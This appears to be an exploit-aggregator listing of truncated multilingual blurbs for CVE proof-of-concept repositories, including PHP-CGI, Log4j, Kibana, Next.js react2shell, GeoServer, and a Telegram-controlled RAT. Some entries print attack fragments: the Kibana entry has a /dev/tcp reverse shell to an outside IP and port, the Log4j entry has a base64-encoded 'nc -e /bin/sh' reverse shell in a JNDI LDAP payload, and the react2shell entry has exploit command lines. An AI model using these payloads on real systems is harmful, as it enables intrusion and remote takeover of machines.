CVE-2024-4577-RCE

PHP CGI 引数インジェクション CVE-2024-4577 RCE 📜 説明 PHP 8.1.（8.1.29 以前）、8.2. （8.2.20 以前）、8.3.（8.3.8 以前）のバージョンにおいて、Windows 上で Apache と PHP-CGI を使用する際、システムが特定のコードページを使用するように設定されている場合、Windows は Win32 API 関数に与えられたコマンドラインの文字を置き換えるために「Best-Fit」動作を使用することがあります。PHP CGI モジュールはこれらの文字を PHP...

cve-2022-27438

CVE-2022-27438 Caphyon Ltd Advanced Installer 19.3 の「CustomDetection」アップデートチェックにおけるリモートコード実行の脆弱性。 使用方法: python3 cve-2022-27438poc.py 詳細はレポートを参照: gerr.re. 再現手順 その他の影響を受ける製品については、アップデートサーバーとアップデート設定ファイル名を変更する必要があります。これらは多くの場合、アプリケーションのインストールディレクトリにあるアップデータの .ini ファイルにあります。 1. Advanced Installer 19....

QuickHeal

QuickHeal Quick Heal Antivirus 向け CVE-2017-5005 アドバイザリ メモリ・バッファの境界 内における操作の不適切な制限 の脆弱性です。 このソフトウェアはメモリバッファに対して操作を行いますが、バッファの意図された境界の外にあるメモリ位置に対して読み取りまたは書き込みを行う可能性があります。 脆弱性の説明 Quick Heal Internet Security は、LCUNIXTHREAD.cmdsize（Mach-O ）の検証が不適切なため、スタックバッファ上の領域外書き込み（Out of Bound Write on Stack...

TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation

TRAI-001 CVE-2025-30065: Apache Parquet リモートコード実行（RCE）エクスプロイトシミュレーター デモスクリーンショット エクスプロイトチェーンを示すシミュレーターインターフェース 📌 概要 このリポジトリには、Apache Parquetファイルにおける重大なリモートコード実行（RCE）脆弱性であるCVE-2025-30065の教育用シミュレーション が含まれています。このツールは、攻撃者がこの欠陥を悪用してシステム全体を制御する方法を実演し、緩和策のガイダンスも提供します。 主な特徴： 対話形式のステップバイステップのエクスプロイトシミュレーシ...

CVE-2022-31626

CVE-2022-31626 PHPバージョン7.4.x（7.4.30未満）、8.0.x（8.0.20未満）、8.1.x（8.1.7未満）において、pdomysql拡張がmysqlndドライバと共に使用されている場合、第三者が接続先のホストと接続パスワードを指定できる場合、過度に長いパスワードによりPHPでバッファオーバーフローが発生し、リモートコード実行の脆弱性につながる可能性があります。...

CVE-2020-2883

CVE-2020-2883 まずフレームワークをクローンします root@kitploit: git clone https://github.com/Y4er/CVE-2020-2555 次に、CVE20202883.java を src/com/supeream/CVE20202883.java ディレクトリに配置します IDEA にインポートして CVE20202883.java を実行すると RCE! スクリーンショット...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS 事前認証RCE Craft CMS における事前認証リモートコード実行 発見・開発者:Mohammed Idrees Banyamer 📌 概要 CVE-2025-32432 は、Craft CMS の複数バージョンに影響する重大な事前認証リモートコード実行（RCE）脆弱性です。無害化されていないセッションデータの保存と安全でないデシリアライゼーションガジェットを連鎖させることで、認証されていない攻撃者がリモートサーバー上で任意のコマンドを実行できます。 🎯 影響を受けるバージョン...

CVE-2023-49606

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求安全归还所有被恐怖组织哈马斯劫持为人质的公民。在每个人质获释并安全返回家园之前，我们不会停止。你可以帮助他们回家。https://stories.bringthemhomenow.net/ CVE-2023-49606: Tinyproxy 释放后使用漏洞分析 🚨 严重漏洞警报 🚨 Tinyproxy 中 CVE-2023-49606 的技术报告 漏洞概述 🔍 CVE-2023-49606 是一个在 Tinyproxy（轻量级 HTTP/S 代理服务器）中发现的关键级别释放后使用漏洞。该缺陷存在于...

CVE-2021-40964

Tiny File Manager = 2.4.6 - リモートコード実行（認証済み） 🚨 エクスプロイトについて これは、CVE-2021-40964 の影響を受ける Tiny File Manager バージョン = 2.4.6 向けの、Bash ベースの認証済み リモートコード実行（RCE） エクスプロイトです。 このスクリプトは以下を利用します： 脆弱なアップロード検証と webroot の開示、 PHP コード実行につながる任意のファイルアップロードの脆弱性。 📌 詳細 エクスプロイトタイトル： Tiny File Manager = 2.4.6 - リモートコード実行（RCE...

CVE-2017-3066

CVE-2017-3066 Descripción Adobe ColdFusion utiliza el formato de mensaje de Action AMF. El Protocolo AMF es un protocolo de serialización binaria personalizado. Tiene dos formatos: AMF0 y AMF3. El mensaje de acción consiste en cabeceras y cuerpos. Existen varias implementaciones de AMF en...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 - CLIを介した任意ファイル読み取りの脆弱性によりRCEにつながる可能性がある 影響を受ける製品とバージョン: 製品| 影響を受けるバージョン ---|--- Jenkis Server| = 2.441 = LTS 2.426.3 CVSS: 重大 積極的に悪用されている: はい パッチ: あり 緩和策: あり ヘルプ root@kitploit: usage: CVE-2024-23897.py -h -c COUNTRY options: -h, --help show this help message and exi...

RAT-via-Telegram

RAT-via-Telegram Dvirosのノート: Telegram経由のWindowsリモート侵害後ツール Python 2.7、 元々は Ritiek によって作成され、mvrozanti によってフォークおよび修正され、その後私自身が修正しました。 このツールの全体的な目的は、Telegramを介して既に侵害されたマシンを制御することを（"PoC"として）デモンストレーションすることです。 これまでに作成したツールと同様に、私は違法行為を推奨するものではありません。 この修正版は、従来のv1の代わりにTelegram bot API...

CVE-2025-55182-NextJS-RCE-PoC

CVE-2025-55182 React2Shell 再現環境 ⚠️ 教育目的専用 このリポジトリは、教育および研究専用に作成されています。React Server Components（Next.js）の重大な脆弱性を実証し、開発者が依存関係を更新することのリスクと重要性を理解するのに役立ちます。 このコードを本番環境や、あなたが所有していないシステムに対して使用しないでください。 概要 このプロジェクトは、Next.js アプリケーションの React Server Components に影響を与えるリモートコード実行（RCE）脆弱性である CVE-2025-55182 （別名...

geoserver-

geoserver CVE-2024-36401 エクスプロイトツール geoserver CVE-2024-36401 環境: JDK8 宣言: 許可されたテストにのみ使用し、ユーザーによる悪用の結果はすべて作者の責任ではありません。法律と規制を遵守してください！ 1, デフォルトペイロード: POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/124.0.6367.118...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas をクリックして getshell...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh 转换为Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 概念验证 Log4j 概念验证 关注 Youtube Twitter...

SharpStat

SharpStat C utility that uses WMI to run "cmd.exe /c netstat -n", save the output to a file, then use SMB to read and delete the file remotely Description This script will attempt to connect to all the supplied computers and use WMI to execute cmd.exe /c netstat -n . The file the output is saved ...

CVE-2025-55182-react2shell

react2shell CVE-2025-55182 ツールキット。RSC ペイロードインジェクションによる Next.js の未認証 RCE のスキャナ + エクスプロイト。 Node.js エクスプロイト: 依存関係ゼロ。 Bash スキャナ: 単一 URL または一括リストをチェックします。 エクスプロイト root@kitploit: Single command with output ./react2shell.mjs -t http://target:3000 -c "id" Interactive pseudo-shell ./react2shell.mjs -t...

CVE-2024-11394

CVE-2024-11394 Hugging Face Transformers Trax モデルにおける信頼できないデータのデシリアライズによるリモートコード実行の脆弱性 脆弱性の概要と影響： 攻撃者は、悪意のある reformer trax チェックポイントファイルを、Hugging Face Transformers リポジトリ内の convertreformertraxcheckpointtopytorch.py スクリプトに提供することで、ホストマシン上で任意のコードを実行できます。 無防備なユーザーがサードパーティの reformer trax...

CVE-2026-8838-RCE

CVE-2026-8838 — Amazon Redshift Python Driver: eval によるリモートコード実行 ⚠️ 教育目的のみ 攻撃的サイバーセキュリティの研究・デモンストレーションを目的としたプロジェクトであり、教育および啓発のみを目的として作成されています。 明示的な許可なくシステムに対して使用することは違法です。 このリポジトリは、以下の環境でのみ使用してください： 管理されたラボ環境 テスト環境 CTF プラットフォーム 許可された学習環境 ここで紹介する脆弱性シナリオは、教育用デモンストレーションのみを目的としています。 目次 説明 技術詳細 攻撃ベクトル...